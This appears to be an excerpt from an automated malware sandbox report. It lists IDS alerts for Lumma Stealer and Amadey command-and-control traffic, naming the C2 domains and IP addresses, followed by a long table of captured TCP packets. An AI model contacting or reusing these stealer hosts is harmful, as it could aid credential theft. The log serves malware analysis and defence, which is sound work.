2024-10-07T13:28:12.442383+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.5	60242	1.1.1.1	53	UDP
2024-10-07T13:28:12.454781+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.5	63026	1.1.1.1	53	UDP
2024-10-07T13:28:12.465266+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.5	50528	1.1.1.1	53	UDP
2024-10-07T13:28:12.476287+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.5	56144	1.1.1.1	53	UDP
2024-10-07T13:28:12.506220+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.5	54050	1.1.1.1	53	UDP
2024-10-07T13:28:14.771430+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50056	172.67.206.204	443	TCP
2024-10-07T13:28:14.771430+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50056	172.67.206.204	443	TCP
2024-10-07T13:32:22.001315+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	50163	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 13:26:10.307986975 CEST	49675	443	192.168.2.5	23.1.237.91
Oct 7, 2024 13:26:10.308072090 CEST	49674	443	192.168.2.5	23.1.237.91
Oct 7, 2024 13:26:10.401696920 CEST	49673	443	192.168.2.5	23.1.237.91
Oct 7, 2024 13:26:19.917399883 CEST	49674	443	192.168.2.5	23.1.237.91
Oct 7, 2024 13:26:19.917434931 CEST	49675	443	192.168.2.5	23.1.237.91
Oct 7, 2024 13:26:20.011195898 CEST	49673	443	192.168.2.5	23.1.237.91
Oct 7, 2024 13:26:21.644160032 CEST	443	49703	23.1.237.91	192.168.2.5
Oct 7, 2024 13:26:21.644310951 CEST	49703	443	192.168.2.5	23.1.237.91
Oct 7, 2024 13:26:28.960490942 CEST	49704	443	192.168.2.5	20.109.210.53
Oct 7, 2024 13:26:28.960539103 CEST	443	49704	20.109.210.53	192.168.2.5
Oct 7, 2024 13:26:28.960649014 CEST	49704	443	192.168.2.5	20.109.210.53
Oct 7, 2024 13:26:28.962441921 CEST	49704	443	192.168.2.5	20.109.210.53
Oct 7, 2024 13:26:28.962460041 CEST	443	49704	20.109.210.53	192.168.2.5
Oct 7, 2024 13:26:29.673222065 CEST	443	49704	20.109.210.53	192.168.2.5
Oct 7, 2024 13:26:29.673384905 CEST	49704	443	192.168.2.5	20.109.210.53
Oct 7, 2024 13:26:29.678134918 CEST	49704	443	192.168.2.5	20.109.210.53
Oct 7, 2024 13:26:29.678148031 CEST	443	49704	20.109.210.53	192.168.2.5
Oct 7, 2024 13:26:29.678453922 CEST	443	49704	20.109.210.53	192.168.2.5
Oct 7, 2024 13:26:29.729975939 CEST	49704	443	192.168.2.5	20.109.210.53
Oct 7, 2024 13:26:30.413674116 CEST	49704	443	192.168.2.5	20.109.210.53
Oct 7, 2024 13:26:30.459400892 CEST	443	49704	20.109.210.53	192.168.2.5
Oct 7, 2024 13:26:30.646239996 CEST	443	49704	20.109.210.53	192.168.2.5
Oct 7, 2024 13:26:30.646266937 CEST	443	49704	20.109.210.53	192.168.2.5
Oct 7, 2024 13:26:30.646275043 CEST	443	49704	20.109.210.53	192.168.2.5
Oct 7, 2024 13:26:30.646301985 CEST	443	49704	20.109.210.53	192.168.2.5
Oct 7, 2024 13:26:30.646317959 CEST	443	49704	20.109.210.53	192.168.2.5
Oct 7, 2024 13:26:30.646330118 CEST	443	49704	20.109.210.53	192.168.2.5
Oct 7, 2024 13:26:30.646418095 CEST	49704	443	192.168.2.5	20.109.210.53
Oct 7, 2024 13:26:30.646451950 CEST	443	49704	20.109.210.53	192.168.2.5
Oct 7, 2024 13:26:30.646467924 CEST	49704	443	192.168.2.5	20.109.210.53
Oct 7, 2024 13:26:30.646505117 CEST	49704	443	192.168.2.5	20.109.210.53
Oct 7, 2024 13:26:30.647054911 CEST	443	49704	20.109.210.53	192.168.2.5
Oct 7, 2024 13:26:30.647124052 CEST	49704	443	192.168.2.5	20.109.210.53
Oct 7, 2024 13:26:30.647133112 CEST	443	49704	20.109.210.53	192.168.2.5
Oct 7, 2024 13:26:30.647314072 CEST	443	49704	20.109.210.53	192.168.2.5
Oct 7, 2024 13:26:30.647612095 CEST	49704	443	192.168.2.5	20.109.210.53
Oct 7, 2024 13:26:31.161935091 CEST	49704	443	192.168.2.5	20.109.210.53
Oct 7, 2024 13:26:31.161959887 CEST	443	49704	20.109.210.53	192.168.2.5
Oct 7, 2024 13:26:31.161994934 CEST	49704	443	192.168.2.5	20.109.210.53
Oct 7, 2024 13:26:31.162002087 CEST	443	49704	20.109.210.53	192.168.2.5
Oct 7, 2024 13:26:31.469899893 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:31.469958067 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:31.470267057 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:31.470690966 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:31.470704079 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.123675108 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.123780012 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.127135992 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.127145052 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.127434015 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.138453960 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.183408976 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.239589930 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.239614010 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.239629030 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.239692926 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.239712000 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.239758968 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.326399088 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.326421022 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.326495886 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.326539993 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.326584101 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.328676939 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.328691959 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.328747034 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.328769922 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.328875065 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.414958954 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.414987087 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.415072918 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.415105104 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.415142059 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.415916920 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.415934086 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.416002035 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.416008949 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.416048050 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.417517900 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.417534113 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.417587042 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.417593956 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.417620897 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.417635918 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.418570995 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.418586016 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.418661118 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.418668032 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.418704987 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.503657103 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.503684044 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.503734112 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.503762960 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.503777027 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.503806114 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.504796028 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.504812956 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.504861116 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.504868031 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.504904032 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.505708933 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.505723953 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.505783081 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.505789995 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.505829096 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.507477045 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.507493019 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.507577896 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.507584095 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.507622004 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.508455038 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.508469105 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.508526087 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.508531094 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.508577108 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.591747046 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.591774940 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.591824055 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.591845036 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.591876030 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.591893911 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.592289925 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.592359066 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.592364073 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.592411041 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.592694998 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.592715025 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.592722893 CEST	49709	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.592727900 CEST	443	49709	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.647806883 CEST	49710	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.647864103 CEST	443	49710	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.647953033 CEST	49710	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.649578094 CEST	49711	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.649626970 CEST	443	49711	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.649681091 CEST	49711	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.649976015 CEST	49710	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.649991989 CEST	443	49710	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.650602102 CEST	49711	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.650616884 CEST	443	49711	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.651396990 CEST	49712	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.651436090 CEST	443	49712	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.651696920 CEST	49712	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.652446985 CEST	49712	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.652463913 CEST	443	49712	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.653438091 CEST	49713	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.653479099 CEST	443	49713	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.654424906 CEST	49714	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.654424906 CEST	49713	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.654442072 CEST	443	49714	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.654587030 CEST	49713	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.654587030 CEST	49714	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.654587030 CEST	49714	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:32.654599905 CEST	443	49713	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:32.654628038 CEST	443	49714	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.217227936 CEST	443	49710	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.218189955 CEST	49710	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.218216896 CEST	443	49710	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.219958067 CEST	49710	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.219964027 CEST	443	49710	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.305951118 CEST	443	49712	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.309155941 CEST	49712	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.309186935 CEST	443	49712	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.309734106 CEST	49712	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.309741974 CEST	443	49712	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.309839964 CEST	443	49713	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.310323000 CEST	443	49714	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.310497046 CEST	443	49711	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.311269045 CEST	49713	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.311269045 CEST	49713	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.311285019 CEST	443	49713	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.311300039 CEST	443	49713	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.311676979 CEST	49714	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.311685085 CEST	443	49714	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.312424898 CEST	49711	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.312452078 CEST	443	49711	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.312500954 CEST	49714	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.312506914 CEST	443	49714	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.312858105 CEST	49711	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.312866926 CEST	443	49711	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.315888882 CEST	443	49710	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.315907001 CEST	443	49710	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.315973997 CEST	49710	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.315984964 CEST	443	49710	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.316054106 CEST	443	49710	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.316112041 CEST	49710	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.316253901 CEST	49710	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.316270113 CEST	443	49710	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.316279888 CEST	49710	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.316284895 CEST	443	49710	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.319856882 CEST	49715	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.319896936 CEST	443	49715	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.319963932 CEST	49715	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.320138931 CEST	49715	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.320153952 CEST	443	49715	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.406414032 CEST	443	49712	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.406445026 CEST	443	49712	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.406606913 CEST	49712	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.406624079 CEST	443	49712	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.407525063 CEST	443	49712	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.407692909 CEST	49712	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.407788992 CEST	49712	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.407804966 CEST	443	49712	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.407814980 CEST	49712	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.407821894 CEST	443	49712	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.410548925 CEST	443	49714	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.410581112 CEST	443	49711	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.410614014 CEST	443	49714	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.410670042 CEST	443	49711	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.410718918 CEST	49711	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.410809040 CEST	49714	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.410809040 CEST	49714	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.410947084 CEST	49714	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.410947084 CEST	49711	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.410967112 CEST	443	49711	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.410974026 CEST	443	49714	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.410980940 CEST	49711	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.410986900 CEST	443	49711	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.411199093 CEST	49716	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.411235094 CEST	443	49716	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.411302090 CEST	49716	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.411436081 CEST	49716	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.411451101 CEST	443	49716	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.411616087 CEST	443	49713	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.411639929 CEST	443	49713	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.411959887 CEST	49713	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.411966085 CEST	443	49713	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.412029028 CEST	49713	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.412259102 CEST	49713	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.412259102 CEST	49713	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.412266016 CEST	443	49713	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.412272930 CEST	443	49713	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.414208889 CEST	49717	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.414280891 CEST	443	49717	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.414376974 CEST	49717	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.414601088 CEST	49718	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.414621115 CEST	443	49718	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.414688110 CEST	49718	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.414758921 CEST	49719	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.414769888 CEST	443	49719	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.414798021 CEST	49717	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.414822102 CEST	49719	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.414829016 CEST	443	49717	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.414890051 CEST	49718	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.414911985 CEST	443	49718	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.414975882 CEST	49719	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.414989948 CEST	443	49719	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.996862888 CEST	443	49715	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.997822046 CEST	49715	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.997834921 CEST	443	49715	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:33.998373985 CEST	49715	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:33.998378038 CEST	443	49715	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.047945023 CEST	443	49716	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.048712015 CEST	49716	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.048748970 CEST	443	49716	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.049246073 CEST	49716	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.049252033 CEST	443	49716	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.053762913 CEST	443	49719	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.054229021 CEST	49719	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.054235935 CEST	443	49719	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.054610014 CEST	49719	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.054614067 CEST	443	49719	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.063806057 CEST	443	49717	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.064337969 CEST	49717	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.064357996 CEST	443	49717	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.064834118 CEST	49717	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.064837933 CEST	443	49717	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.091999054 CEST	443	49718	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.092842102 CEST	49718	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.092869997 CEST	443	49718	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.093091965 CEST	49718	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.093096972 CEST	443	49718	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.107429981 CEST	443	49715	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.107496023 CEST	443	49715	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.107686996 CEST	49715	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.107851982 CEST	49715	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.107862949 CEST	443	49715	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.107875109 CEST	49715	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.107880116 CEST	443	49715	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.111690044 CEST	49720	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.111747026 CEST	443	49720	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.111836910 CEST	49720	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.112009048 CEST	49720	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.112020016 CEST	443	49720	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.147253990 CEST	443	49716	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.147319078 CEST	443	49716	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.147520065 CEST	49716	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.147660017 CEST	49716	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.147680998 CEST	443	49716	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.147697926 CEST	49716	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.147703886 CEST	443	49716	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.151102066 CEST	49721	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.151119947 CEST	443	49721	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.151211023 CEST	49721	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.151412010 CEST	49721	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.151423931 CEST	443	49721	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.152846098 CEST	443	49719	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.152903080 CEST	443	49719	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.153101921 CEST	49719	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.153136969 CEST	49719	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.153141022 CEST	443	49719	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.153156996 CEST	49719	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.153161049 CEST	443	49719	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.156295061 CEST	49722	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.156302929 CEST	443	49722	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.156399965 CEST	49722	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.156589985 CEST	49722	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.156599045 CEST	443	49722	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.165652990 CEST	443	49717	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.165719032 CEST	443	49717	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.165800095 CEST	49717	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.166060925 CEST	49717	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.166074038 CEST	443	49717	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.166104078 CEST	49717	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.166109085 CEST	443	49717	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.169414997 CEST	49723	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.169460058 CEST	443	49723	13.107.246.60	192.168.2.5
